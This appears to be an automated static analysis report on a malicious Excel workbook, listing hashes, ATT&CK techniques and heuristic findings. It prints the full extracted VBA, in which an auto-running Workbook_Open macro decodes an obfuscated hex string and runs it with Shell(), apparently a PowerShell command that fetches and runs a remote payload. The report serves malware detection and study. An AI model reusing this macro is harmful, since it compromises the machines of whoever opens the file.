Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de2078c98613c662…

MALICIOUS

Office (OLE)

192.0 KB Created: 2020-07-13 08:13:49 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 2585857f483ef20500636c700e1a9a65 SHA-1: 001db13616c4862571f6d67ae6f1720240bf691e SHA-256: de2078c98613c662d7386544907e3b6b9bd8bc1a1f302809ddc08741c58226a8
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The Excel file contains a Workbook_Open VBA macro that utilizes the Shell() function. This function is used to execute an encoded string, which is likely a command to download and execute a secondary payload. The macro's execution is triggered automatically when the workbook is opened, indicating a malicious intent to compromise the user's system.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1731 bytes
SHA-256: 7895c2a5a51af5ddb2e797165f25f68ab2a7a17d022ec389e1a445cfb94b3749
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Shell UwiqPOHINUNYQMXRJQifZKcwBjmrPCNQGYUEhkycfmTnOERrBltupDN("12322342132", "8F99904C5B8F4C9C9BA3919E9F949198985A91A4914C5991A4918FA1A0959B9A9C9B98958FA54C8EA59C8D9F9F4C59834C74959090919A4C598F9B99998D9A904C549A91A3599B8E96918FA04C7FA59FA091995A7A91A05A83918E6F9895919AA0555A709BA39A989B8D9072959891545394A0A09C665B5B8F9E9B93A09EA05A8F9B995B95635B656364605D5C5C5A969C93535850919AA2668091999C575388909293915A91A491535567547A91A3597B8E96918FA04C598F9B994C7F949198985A6D9C9C98958F8DA0959B9A555A7F9491989871A4918FA1A0915450919AA2668091999C575388909293915A91A4915355")
End Sub
  Function UwiqPOHINUNYQMXRJQifZKcwBjmrPCNQGYUEhkycfmTnOERrBltupDN(CodeKey As String, str As String)
        Dim JoHKfbPOgbwnMsSjuSFzHMpCxRQKydTwCgLlvZSVktngSQaUiBzckDG As Integer
        Dim i As Integer
        Dim sStr
        JoHKfbPOgbwnMsSjuSFzHMpCxRQKydTwCgLlvZSVktngSQaUiBzckDG = 51
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 44)
        Next
        UwiqPOHINUNYQMXRJQifZKcwBjmrPCNQGYUEhkycfmTnOERrBltupDN = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True